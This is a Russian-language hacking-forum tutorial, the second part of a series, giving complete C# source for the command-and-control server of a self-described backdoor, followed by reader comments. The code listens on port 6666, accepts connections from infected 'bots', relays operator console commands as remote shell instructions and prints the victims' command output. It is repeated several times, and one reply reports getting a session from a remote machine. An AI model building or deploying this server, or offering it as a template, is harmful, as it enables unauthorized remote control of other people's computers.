и всех кодеров снова приветствую те кто не читал первую тему прошу пожалуйста прочтите ибо вы нечего не поймете https://zelenka.guru/threads/5049274/ и так клиентскую часть мы закончили пора бы создать наш сервер и так проект у нас уже есть необходимо добавить новый проект добавляем проект с net framework 4.5 либо любую другую выше 4.5. называем Black_Server и так начнем серверу надо ожидать подключения нашего backdoor'a для этого создадим переменную в которой будет храниться наш порт который мы будем слушать (проверять подключился ли клиент или нет) const int port = 6666; CSHARP const int port = 6666; теперь нам нужно создать экземпляр объекта TcpListener и запустить прослушку TcpListener tcpListener = new TcpListener(IPAddress.Any, port); //слушаем порт 6666 на всех ip адресах которые у нас есть tcpListener.Start(); CSHARP TcpListener tcpListener = new TcpListener(IPAddress.Any, port); //слушаем порт 6666 на всех ip адресах которые у нас есть tcpListener.Start(); теперь нам необходимо принять нашего клиента так как backdoor у нас будет отрабатывать одну сессию просто создадим цикл while (true) { TcpClient tcpClient = tcpListener.AcceptTcpClient(); //принимаем нашего клиента } CSHARP while (true) { TcpClient tcpClient = tcpListener.AcceptTcpClient(); //принимаем нашего клиента } после чего нам надо будет создать модельный класс где будут нам уже знакомые методы Read, Send класс назовем client public class Client { public TcpClient tcpClient; private NetworkStream stream; const int SizeBuffer = 5000; public Client(TcpClient tcpClient) { this.tcpClient = tcpClient; stream = tcpClient.GetStream(); new Thread(() => Read()).Start(); while (tcpClient.Connected) { Send("shell($)" +Console.ReadLine() + "($)"); // отправка команды клиенту } } private void Read() { try { while (tcpClient.Connected) { byte[] responseData = new byte[SizeBuffer]; //буфер в который придут наши данные int data = stream.Read(responseData, 0, SizeBuffer); //считывание данных if (data > 0) { string[] Messages = Encoding.UTF8.GetString(responseData).Split(new[] { "($)" }, StringSplitOptions.None); //получения данных в виде массива switch (Messages[0]) //обработка нашего Header { case "Session": { Console.WriteLine("Connect Session " + Messages[1] + " " + tcpClient.Client.RemoteEndPoint.ToString().Split(':')[0]); //выводим данные о пк нашего клиента break; } case "shell": { Console.WriteLine(Messages[1]); //выводим данные из cmd нашего клиента break; } } } } } catch { } } public void Send(string info) { if (!tcpClient.Connected) //если нету соеденения мы не будем отправлять данные. return; //иначе мы будем try { byte[] buffer = Encoding.UTF8.GetBytes(info); //данные которые больше SizeBuffer будут потеряны( stream.Write(buffer, 0, buffer.Length); //отправка буфера начиная с 0 (offset) заканчивая buffer.Length } catch { tcpClient.Client.Disconnect(false); tcpClient.Close(); } } } Код public class Client { public TcpClient tcpClient; private NetworkStream stream; const int SizeBuffer = 5000; public Client(TcpClient tcpClient) { this.tcpClient = tcpClient; stream = tcpClient.GetStream(); new Thread(() => Read()).Start(); while (tcpClient.Connected) { Send("shell($)" +Console.ReadLine() + "($)"); // отправка команды клиенту } } private void Read() { try { while (tcpClient.Connected) { byte[] responseData = new byte[SizeBuffer]; //буфер в который придут наши данные int data = stream.Read(responseData, 0, SizeBuffer); //считывание данных if (data > 0) { string[] Messages = Encoding.UTF8.GetString(responseData).Split(new[] { "($)" }, StringSplitOptions.None); //получения данных в виде массива switch (Messages[0]) //обработка нашего Header { case "Session": { Console.WriteLine("Connect Session " + Messages[1] + " " + tcpClient.Client.RemoteEndPoint.ToString().Split(':')[0]); //выводим данные о пк нашего клиента break; } case "shell": { Console.WriteLine(Messages[1]); //выводим данные из cmd нашего клиента break; } } } } } catch { } } public void Send(string info) { if (!tcpClient.Connected) //если нету соеденения мы не будем отправлять данные. return; //иначе мы будем try { byte[] buffer = Encoding.UTF8.GetBytes(info); //данные которые больше SizeBuffer будут потеряны( stream.Write(buffer, 0, buffer.Length); //отправка буфера начиная с 0 (offset) заканчивая buffer.Length } catch { tcpClient.Client.Disconnect(false); tcpClient.Close(); } } } данный класс уже готов в нем есть все нужные функции для работы backdoor'a готовые исходники сервера using System; using System.Net.Sockets; using System.Net; using System.Text; using System.Threading; namespace Black_Server { internal class Program { const int port = 6666; static void Main(string[] args) { TcpListener tcpListener = new TcpListener(IPAddress.Any, port); //слушаем порт 6666 на всех ip адресах которые у нас есть tcpListener.Start(); while (true) { TcpClient tcpClient = tcpListener.AcceptTcpClient(); //принимаем нашего клиента new Client(tcpClient); } } } public class Client { public TcpClient tcpClient; private NetworkStream stream; const int SizeBuffer = 5000; public Client(TcpClient tcpClient) { this.tcpClient = tcpClient; stream = tcpClient.GetStream(); new Thread(() => Read()).Start(); while (tcpClient.Connected) { Send("shell($)" +Console.ReadLine() + "($)"); // отправка команды клиенту } } private void Read() { try { while (tcpClient.Connected) { byte[] responseData = new byte[SizeBuffer]; //буфер в который придут наши данные int data = stream.Read(responseData, 0, SizeBuffer); //считывание данных if (data > 0) { string[] Messages = Encoding.UTF8.GetString(responseData).Split(new[] { "($)" }, StringSplitOptions.None); //получения данных в виде массива switch (Messages[0]) //обработка нашего Header { case "Session": { Console.WriteLine("Connect Session " + Messages[1] + " " + Messages[2] + " " + tcpClient.Client.RemoteEndPoint.ToString().Split(':')[0]); //выводим данные о пк нашего клиента break; } case "shell": { Console.WriteLine(Messages[1]); //выводим данные из cmd нашего клиента break; } } } } } catch { } } public void Send(string info) { if (!tcpClient.Connected) //если нету соеденения мы не будем отправлять данные. return; //иначе мы будем try { byte[] buffer = Encoding.UTF8.GetBytes(info); //данные которые больше SizeBuffer будут потеряны( stream.Write(buffer, 0, buffer.Length); //отправка буфера начиная с 0 (offset) заканчивая buffer.Length } catch { tcpClient.Client.Disconnect(false); tcpClient.Close(); } } } } CSHARP using System; using System.Net.Sockets; using System.Net; using System.Text; using System.Threading; namespace Black_Server { internal class Program { const int port = 6666; static void Main(string[] args) { TcpListener tcpListener = new TcpListener(IPAddress.Any, port); //слушаем порт 6666 на всех ip адресах которые у нас есть tcpListener.Start(); while (true) { TcpClient tcpClient = tcpListener.AcceptTcpClient(); //принимаем нашего клиента new Client(tcpClient); } } } public class Client { public TcpClient tcpClient; private NetworkStream stream; const int SizeBuffer = 5000; public Client(TcpClient tcpClient) { this.tcpClient = tcpClient; stream = tcpClient.GetStream(); new Thread(() => Read()).Start(); while (tcpClient.Connected) { Send("shell($)" +Console.ReadLine() + "($)"); // отправка команды клиенту } } private void Read() { try { while (tcpClient.Connected) { byte[] responseData = new byte[SizeBuffer]; //буфер в который придут наши данные int data = stream.Read(responseData, 0, SizeBuffer); //считывание данных if (data > 0) { string[] Messages = Encoding.UTF8.GetString(responseData).Split(new[] { "($)" }, StringSplitOptions.None); //получения данных в виде массива switch (Messages[0]) //обработка нашего Header { case "Session": { Console.WriteLine("Connect Session " + Messages[1] + " " + Messages[2] + " " + tcpClient.Client.RemoteEndPoint.ToString().Split(':')[0]); //выводим данные о пк нашего клиента break; } case "shell": { Console.WriteLine(Messages[1]); //выводим данные из cmd нашего клиента break; } } } } } catch { } } public void Send(string info) { if (!tcpClient.Connected) //если нету соеденения мы не будем отправлять данные. return; //иначе мы будем try { byte[] buffer = Encoding.UTF8.GetBytes(info); //данные которые больше SizeBuffer будут потеряны( stream.Write(buffer, 0, buffer.Length); //отправка буфера начиная с 0 (offset) заканчивая buffer.Length } catch { tcpClient.Client.Disconnect(false); tcpClient.Close(); } } } } вот и все сервер для backdoor'a готов
Было бы очень хорошо увидеть пример использования, может быть даже предоставить время выполнения этого программного обеспечения. UPD: ТС красавчик, добавил) --- Сообщение объединено с предыдущим 6 мар 2023 А ты уверен, что программа будет работать, если клиентская и серверная части будут на разных ПК? На локалхост-то понятно, всегда работает.
Dead__Artis, вопросов больше не имею. Если статью воспринимать как базу, то очень годно, код простой. Но всё же для полноты картины хотелось бы тест на разных ПК. 8/10
0xRD43SVT, вот тебе тест на удаленых компах после открытия порта Запускаем backdoor у бота получаем сессию !
Dead__Artis, это копи-паста без делаьного понимания того как работает, поэтому и "разбирайтесь сами в том что я сам не понял"